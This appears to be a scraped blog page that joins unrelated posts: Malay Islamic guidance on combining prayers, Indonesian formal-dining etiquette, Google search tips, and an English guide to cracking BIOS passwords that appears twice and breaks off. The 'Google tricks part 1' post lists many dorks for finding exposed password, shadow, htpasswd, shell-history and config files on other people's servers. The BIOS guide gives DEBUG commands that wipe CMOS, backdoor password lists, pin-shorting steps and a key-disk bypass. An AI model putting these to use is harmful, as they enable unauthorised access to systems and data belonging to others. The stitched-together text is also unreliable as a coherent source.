menjama'kan dua rakaat dua rakaat dalam salah satu waktu dari kedua waktu
sembahyang yang telah difardukan, iaitu untuk sembahyang dua waktu
dikerjakan dalam satu waktu secara dua rakaat dua rakaat (kecuali Magrib,
tetap disempurnakan dengan tiga rakaat) yang mana sembahyang seperti ini
telah diistilahkan sebagai sembahyang "jama' qasar". Ia dilakukan sama ada
jama' takhir atau taqdim, sebagaimana yang boleh kita fahami dari hadith
hadith sahih di bawah ini:
"Dari az Zuhri beliau berkata : Aku diberitahu oleh Salim dari Abdullah bin
Omar r.a ia berkata : Aku melihat Rasulullah saw apabila tergesa gesa untuk
musafir, beliau melambatkan sembahyang Magrib, kemudian menjama'kan
sembahyang Magrib itu dengan 'Isya'. Salim berkata : Abdullah juga berbuat
begitu apabila tergesa gesa untuk berpergian (musafir)". H/R al Bukhari.
"Berkata Salim : Ibn Omar r.a menjama' antara sembahyang Magrib dan 'Isya'
di Muzdalifah". H/R al Bukhari.
"Sesungguhnya Nabi saw sewaktu perang Tabuk, sentiasa menjama' sembahyang
Zuhur dengan 'Asar jika berangkatnya di waktu sudah tergelincir matahari,
tetapi apabila berangkatnya sebelum matahari tergelincir maka sembahyang
Zuhur pula beliau lambatkan (tunda), dan dijama'kan sekali dengan 'Asar.
Begitu juga untuk sembahyang Magrib, yang kalau beliau berangkat sesudah
matahari terbenam, di jama'nya Magrib dengan 'Isya', tetapi kalau
berangkatnya itu sebelum matahari terbenam, ditinggalkannya Magrib sehingga
ke waktu 'Isya' dan dijama'nya dengan sembahyang 'Isya'". H/R Abu Daud dan
at Turmizi.
"Dari Mu'adz bahawa Nabi saw melambatkan (melewatkan atau menunda)
sembahyang beliau di waktu perang Tabuk dan pergi keluar, kemudian
menunaikan sembahyang Zuhur dan 'Asar secara jama'. Setelah itu beliau
masuk, kemudian beliau pergi lagi dan menunaikan sembahyang Magrib dan 'Isya
' secara jama' juga". H/R Malik.
"Dari Anas r.s beliau berkata : Selalunya Rasulullah saw apabila mahu
berpergian sebelum matahari tergelincir, beliau melewatkan Zuhur ke waktu
'Asar, kemudian menjama' keduanya". Mutafaq 'alaihi.
"Selalunya Rasulullah saw apabila mahu menjama' diantara dua waktu
sembahyang dalam masa sedang berpergian, beliau akan melambatkan sembahyang
Zuhur dan bersegera pula apabila tiba waktu 'Asar, kemudian menjama'kan
keduanya". H/R Muslim.
"Dari Anas beliau berkata : Sesungguhnya Rasulullah saw apabila telah
berangkat dalam suatu perjalanan sebelum tergelincir matahari, maka beliau
melambatkan (menunda) sembahyang Zuhurnya sehingga ke wakktu 'Asar, kemudian
beliau turun (berhenti singgah sebentar) lalu menjama'kan antara kedua dua
wakktu tersebut. Dan jika matahari telah tergelincir sedangkan beliau belum
berangkat, maka beliau menunaikan Zuhur terlebih dahulu, kemudian barulah
pergi menaiki kenderaannya". Mutafaq 'alaihi.
Dari hadith hadith di atas, jelaslah kepada kita semua bahawa apabila
seseorang telah keluar musafir atau berpergian yang telah melebihi tiga batu
(satu farsakh) maka diwajibkan kepada mereka mengqasar sembahyangnya, dan
diwajibkan juga menjama'kan sembahyangnya jika perjalanannya mengambil waktu
waktu sembahyang yang perlu dijama' taqdim atau tahkir, sebagaimana yang
telah dilakukan oleh Nabi Muhammad saw dan para sahabat beliau. Inilah
pekerjaan yang paling disukai oleh Nabi saw sebagaimana sabda beliau:
"Dari Jabir r.a beliau berkata : Rasulullah saw bersabda : Semulia mulia
ummatku ialah mereka mereka yang apabila bersalah mereka meminta ampun, dan
apabila mereka berpergian, mereka mengqasar sembahyang mereka dan berbuka
(jika mereka berpuasa). H/R at Thobrani.

NIAT QASAR SEBELUM MUSAFIR
Seseorang yang telah berniat dan bersiap siap untuk musafir dibolehkan
mengqasarkan sembahyangnya semasa di rumah (sebelum berangkat) sebagaimana
hadith Nabi Muhammad saw dibawah ini:
"Dari Ibn Abbas beliau berkata : Mahukah kamu saya khabarkan cara
Rasulullah saw bersembahyang di waktu musafir? Kami berkata : Sudah pasti
mahu! Beliau berkata : Jika selagi di rumah matahari telah tergelincir,
beliau jamak sembahyang Zuhurnya dengan 'Asar sebelum berangkat, tetapi jika
belum tergelincir, maka beliau berangkat sehingga sampai waktu 'Asar beliau
berhenti lalu menjamak sembahyang Zuhur dengan 'Asar. Begitu juga jika
selagi beliau di rumah waktu Magrib sudah masuk, beliau jamak sembahyang
Maghrib itu dengan 'Isyak, tetapi kalau waktu belum lagi masuk, beliau terus
sahaja berangkat dan setelah waktu 'Isyak tiba, beliau berhenti untuk
menjamak sembahyang Maghrib dan 'Isyak". H/R Ahmad dan as Syafeii.
"Dari Ibn Abbas beliau berkata : jika beliau berangkat sebelum matahari
tergelincir, diundurkannya sembahyang Zuhur sehingga ke waktu 'Asar dan
dijamakkannya sembahyang Zuhur dengan 'Asar". H/R al Baihaqi.
Hadith di atas ini selain menjelaskan bolehnya menjamak sembahyang semasa
di rumah jika berniat untuk musafir, juga juga menjelasakan cara menjamakkan
sembahyang secara taqdim atau takhir. Diantara hadith hadith yang
menjelaskan sembahyang taqdin dan takhir ialah:-
"Saya pernah bersembahyang bersama Rasulullah saw di Madinah lapan rakaat
(Zuhur dan 'Asar) dengan menjamakkan keduanya, dan tujuh rakaat (Maghrib dan
'Isyak) dengan menjamakkan keduanya, iaitu beliau menunda (mentakhirkan)
sembahyang Zuhur pada akhir wakktunya dengan mensegerakan 'Asar. Dan menunda
sembahyang Maghrib (takhir) dan mensegerakan sembanyang setelah wakut
'Isyak". H/R an Nasaii
"Dari Mu'az beliau berkata : Pada suatu ketika Nabi mentakhirkan
sembahyangnya di waktu perang Tabuk dan pergi keluar, kemudian menunaikan
sembahyang Zuhur dan 'Asar secara jamak, setelah itu beliau masuk, kemudian
beliau pergi lagi dan menunaikan sembahyang Maghrib dan 'Isyak secara jamak
(takhir)". H/R Malik di dalam Muata'.

MENJAMAK SEMBAHYANG KERANA HUJAN LEBAT
Dibolehkan menjamak sembahyang semasa turunnya hujan lebat walaupun bukan
dalam musafir atau sakit, sebagaimana hadith Nabi Muhammad saw:-
"Sesungguhnya Nabi saw menjamakkan sembahyang Maghrib dan 'Isyak di suatu
malam yang turun hujan lebat". H/R al Bukhari.

Tuesday, July 3, 2007

Tip Saat Acara Jamuan Resmi

Saat diundang teman atau relasi kerja pada acara jamuan makan, tak ayal kita sering dibuat kikuk oleh suasana jamuan yang serba resmi. Kegugupan yang melanda kadangkala tanpa kita sadari akan menimbulkan kesalahan-kesalahan kecil yang berakibat memalukan.

Agar jamuan makan Anda berlangsung sukses ada tip jitu buat Anda:

Pada saat duduk
  • Duduklah saat dipersilahkan oleh tuan rumah, jangan mendahuluinya.

  • Bersikaplah santai dan rileks dan jangan terlalu sering merubah posisi duduk. Letakkan tangan di atas pangkuan dan usahakan tetap pada posisi tegak dengan tubuh tidak terlalu merapat ke meja.

  • Sebelum mulai makan, letakkan serbet di atas pangkuan. Jika serbet terlalu lebar, jangan membuka semua lipatannya.

Pada saat makan
  • Dekatkan makanan ke mulut, bukan mendekatkan mulut ke makanan.

  • Hindari meletakkan siku di atas meja! Ini berlaku pada saat Anda menghadapi maupun pada saat menyuap hidangan.

  • Gunakan peralatan makan tanpa mengeluarkan bunyi.

  • Jangan gunakan pisau untuk menyuap makanan.

  • Jika tuan rumah menyodorkan hidangan, ambil secukupnya tanpa memilih-milih. Ambil bagian yang terdekat dengan Anda.

  • Jangan meraih hidangan yang jauh dari tempat Anda. Bila perlu, minta tolonglah pada teman yang terdekat dengan hidangan tersebut.

Setelah selesai makan
  • Letakkan peralatan makan dengan posisi bersisian di atas piring. Bukan disilangkan. Usahakan mata pisau menghadap ke arah Anda.

  • Jangan merokok pada saat jamuan, karena hal ini sangat tidak dianjurkan. Apalagi jika tuan rumah tidak menyediakan asbak.

Sukses!...

Fr: http://www.conectique.com

Trik Menggunakan Mesin Pencari Google - Part 2

Banyak orang tau tentang mesin pencari google, tetapi masih banyak yang belum mengerti bagaimana cari mencari yang benar pada mesin pencari Google. Kali ini saya akan mencoba untuk mengupas bagaimana trik dalam penggunaan mesin pencari Google.

Pada dasarnya ada beberapa trik agar anda dapat lebih akurat dalam menggunakan mesin pencari google contohnya:
Gunakan tanda “+” untuk dua kata yang anda ingin cari misalnya :
web +Desain atau Koran Tempo
Ini digunakan saat anda ingin mencari dua suku kata tersebut dalam suatu artikel atau data yang ingin anda cari.
Gunakan tanda “-” untuk mengurangi kata, misalnya :
Rumah sakit -Padang —> berarti mencari kata rumah sakit tanpa kata padang
Ini biasa digunakan apabila anda tidak menginginkan kata tertentu mengikuti kata pencarian anda.
Gunakan “filetype:” jika anda ingin menemukan suatu dokumen tertentu misalnya :
antariksa filetype doc
Dengan menggunakan filetype anda dapat menyempitkan pencarian anda pada file yang anda inginkan misalnya diatas adalah kata antariksa yang ingin dicari adalah dokumen doc yang ada kata antariksanya.
Gunakan “site:” untuk menekukan kata pada situs tertentu misalnya :
lowongan site:www.detik.com
Dengan menggunakan site berarti anda lebih menyempitkan pada pencarian kata pada situs tertentu, misalnya kata lowongan di atas hanya di batasi pada situs www.detik.com

Bagi temen-temen yang ingin nambah tutorial kami persilahkan

Ditulis oleh prim di/pada Maret 5th, 2007

Trik Menggunakan Mesin Pencari Google - Part 1

Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Artikel ini berdasarkan pada FAQ dan diskusi pada milis situs keamanan jaringan komputer http://bugtraq.org dan http://insecure.org tentang metode pengumpulan informasi berkaitan dengan aktifitas webhacking.

Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.


Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap – tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting.


" Intitle:" ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yangdimaksud. Sebagai contoh pada pencarian, “intitle:password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yang mengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks allintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian “allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu “admin” dan “mdb”. “ inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contoh pencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang “database mdb “.
Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut. Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkan URL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miring slash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.


“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarian akan mencari topic tentang waveguide pada semua halaman yang tersedia pada domain itb.ac.id.

“cache:” akan menunjukkan daftar web yang telah masuk kedalam indeks database Google.

Sebagai contoh:

“cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page deffcon.org
“filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian : “filetype:doc site:go.id confidental” ( tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domain go.id yang berisi informasi “confidential”.
“link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list webpages yang memiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com” akan menunjuukan daftar webpage yang memiliki point link pada page SecurityFocus.
“related:” sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan. Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftar web page yang serupa dengan homepage Securityfocus.
“intext:” sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh :“intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.

Beberapa query sintaks diatas akan sangat membantu dalam pencarian data dan informasi lebih detail. Google dapat menjadi mesin pencari untuk menggali informasi tertentu dan rahasia, informasi yang tidak diperkirakan yang dapat memberitahukan sisi lemah suatu sistem. Hal tersebut yang dimanfaatkan oleh sebagian individu untuk melakukan penetrasi suatu server atau sistem informasi . Sintaks “Index of ” dapat digunakan untuk mendapatkan situs yang menampilkan indeks browsing direktori. Webserver dengan indeks browsing yang dapat diakses, berarti siapa saja dapat melakukan akses pada direktori webserver, seperti layaknya dapat dilakukan pada lokal direktori pada umumnya.
Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untuk mendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapat diakses.. Hal tersebut merupakan sumber informasi yang sederhana dapat diperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yang sangat penting. Informasi tersebut dapat saja berupa password akses atau data transaksi online dan hal yang sangat penting lainnya. Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untuk mendapatkan informasi yang penting dan sensitive sifatnya.
ex :

Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
"Index of/admin.asp
"Index of/login.asp

Mencari sistem atau server yang vulnerable menggunakan sintaks “inurl:” atau “allinurl:”
1. Menggunakan sintaks “allinurl:winnt/system32/” (dengan tanda petik ) akan menampilkan daftar semua link pada server yang memberikan akses pada direktori yang terlarang seperti “system32”. Terkadang akan didapat akses pada cmd.exe pada direktori “system32” yang memungkinkan seseorang untuk mengambil alih kendali sistem pada server tersebut.
2. Menggunakan “allinurl:wwwboard/passwd.txt” ( dengan tanda petik ) akan menampilkan daftar semua link pada server yang memiliki kelemahan pada “wwwboard Password”.
3. Menggunakan sintaks “inurl: bash history” (dengan tanda petik ) akan menampilkan daftar link pada server yang memberikan akses pada file “bash history” melalui web. File tersebut merupakan command history file yang mengandung daftar perintah yang dieksekusi oleh administrator, yang terkadang menyangkut informasi sensitive seperti password sistem. Seringkali password pada sistem telah dienkripsi, untuk mendapatkan password aslinya bentuk yang dienkripsi ini harus didekripsi menggunakan program password cracker. Lama waktu untuk mendapatkan hasil dekripsi tergantung dari keandalan program dan banyaknya karakter yang terenkripsi.
4. Menggunakan “inurl:config.txt” (dengan tanda petik) akan menampilkan daftar semua link pada server yang memberikan akses pada file “config.txt. File ini berisi informasi penting termasuk hash value dari password administrator dan proses autentifikasi dari suatu database.
Sintaks “inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnya seperti pada daftar dibawah ini :
Inurl: /cgi-bin/cart32.exe
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exe
llinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
allinurl:/privmsg.php
allinurl:/privmsg.php
inurl:cgi-bin/go.cgi?go=*
allinurl:.cgi?page=*.txt
allinurul:/modules/My_eGallery

Mencari suatu sistem atau server yang memiliki kelemahan dengan sintaks “intitle:” atau “allintitle:”
1. Menggunakan allintitle: "index of /root” ( tanpa tanda kutip ) akan menampilkan Daftar link pada webserver yang memberikan akses pada direktori yang terlarang seperti direktori root.
2. Menggunakan allintitle: "index of /admin” ( tanpa tanda kutip ) akan menampilkan link pada site yang memiliki indeks browsing yang dapat diakses untuk direktori terlarang seperti direktori “admin”.
Penggunaan lain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengan sintaks lainnya antara lain :

intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
ntitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle:*.php?filename=*
allintitle:*.php?page=*
allintitle:*.php?logon=*

Penggunaan dan kombinasi pada sintaks tidak hanya terbatas pada contoh paparan diatas. Masih banyak lagi kombinasi dari sintaks sintaks dengan berbagai kata kunci yang dapat digunakan. Hal tersebut bergantung pada kreativitas dan kemauan untuk mencoba. Ada baiknya penggunaan wacana yang telah dipaparkan ini digunakan untuk kepentingan yang tidak menimbulkan kerugian atau kerusakan.
Kelemahan pada suatu sistem atau server yang diketahui ada baiknya dilakukan sharing dengan administrator sistem yang bersangkutan sehingga dapat bermanfaat bagi semua pihak. Dikarenakan kemungkinan besar hasil dari pencarian informasi dapat memberikan informasi yang sensitive, yang seringkali menyangkut segi keamanan suatu sistem atau server. Wacana tentang sintaks yang sangat membantu dalam pencarian informasi tersebut akhirnya tergantung pada niat dan tujuan dalam pencarian data. Apakah sungguh sungguh dilakukan untuk kebutuhan pencarian data, mengumpulkan informasi dari suatu mesin target penetrasi. Tujuan akhirnya bergantung pada niat individu yang bersangkutan sehingga penulis tidak bertanggung jawab terhadap penyalahgunaan dari informasi yang telah dipaparkan. Seperti kata pepatah lama “ resiko ditanggung penumpang “.

From uin sgd - bandung

Monday, July 2, 2007

Basic BIOS password crack


This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:

code:

DEBUG hit enter -o 70 2e hit enter -o 71 ff hit enter -q hit enter exit hit enter

Restart the computer. It works on most versions of the AWARD BIOS.

Accessing information on the hard disk

When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.

Standard BIOS backdoor passwords
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:

AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%

AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder

Other passwords you may try (for AMI/AWARD or other BIOSes)

LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj

Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.

Flashing BIOS via software

If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory. However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:

AMI/AWARD BIOS
Code:

O 70 17 O 71 17
Q

PHOENIX BIOS
Code:
O 70 FF O 71 17 Q

GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
Code:

O 70 2e O 71 FF Q

Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.

Flashing BIOS via hardware
If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.
Using the jumpers

The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard. To find the correct jumper you should read the motherboard's manual.

Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.

If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.

If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.

Removing the battery

If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.

Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.

Short-circuiting the chip

Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.

Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)

Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
Code:

gnd
74
I______________
5v 75 --I I
I I
I chips I
1 * I I
I p82c206 I
I I
I_____________I
I I
I gnd I 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
Code:

80 51
I_____________I
81-I I-50
I I
I OPTi I
I I
I p82c206 I
I I
100-I_____________I-31
II I I
1 II I I 30
3 26

Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.

CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.
The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.


__________
1 -I I- 24 5v
2 -I I- 23
3 -I I- 22
4 -I I- 21
RCL (RAM Clear)
5 -I I- 20
6 -I I- 1
7 -I I- 18
8 -I I- 17
9 -I I- 16
10 -I I- 15
11 -I I- 14
gnd 12 -
I________I- 13

NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.

Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818. Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.

5v 24 20 13 I________I_____________I I I I DALAS I I> I I DS5885S I I______________________I I I 1 12 gnd
Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
Code:


__________
1 -I I- 24 5v
2 -I I- 23
3 -I I- 22
4 -I I- 21

5 -I I- 20
6 -I I- 1
7 -I I- 18
8 -I I- 17
9 -I I- 16
10 -I I- 15
11 -I I- 14
gnd 12 -
I________I- 13


Replacing the chip

If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.

Important

Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.

Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:\WINDOWS, C:\WINDOWS\SYSTEM, or C:\WINDOWS\INF .

Key Disk for Toshiba laptops

Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" :) followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.

Key protected cases

A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.


By vishal sharma















Basic BIOS password crack


This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:

code:

DEBUG hit enter -o 70 2e hit enter -o 71 ff hit enter -q hit enter exit hit enter

Restart the computer. It works on most versions of the AWARD BIOS.

Accessing information on the hard disk

When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.

Standard BIOS backdoor passwords
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:

AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%

AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder

Other passwords you may try (for AMI/AWARD or other BIOSes)

LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj

Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.

Flashing BIOS via software

If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory. However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:

AMI/AWARD BIOS
Code:

O 70 17 O 71 17
Q

PHOENIX BIOS
Code:
O 70 FF O 71 17 Q

GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
Code:

O 70 2e O 71 FF Q

Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.

Flashing BIOS via hardware
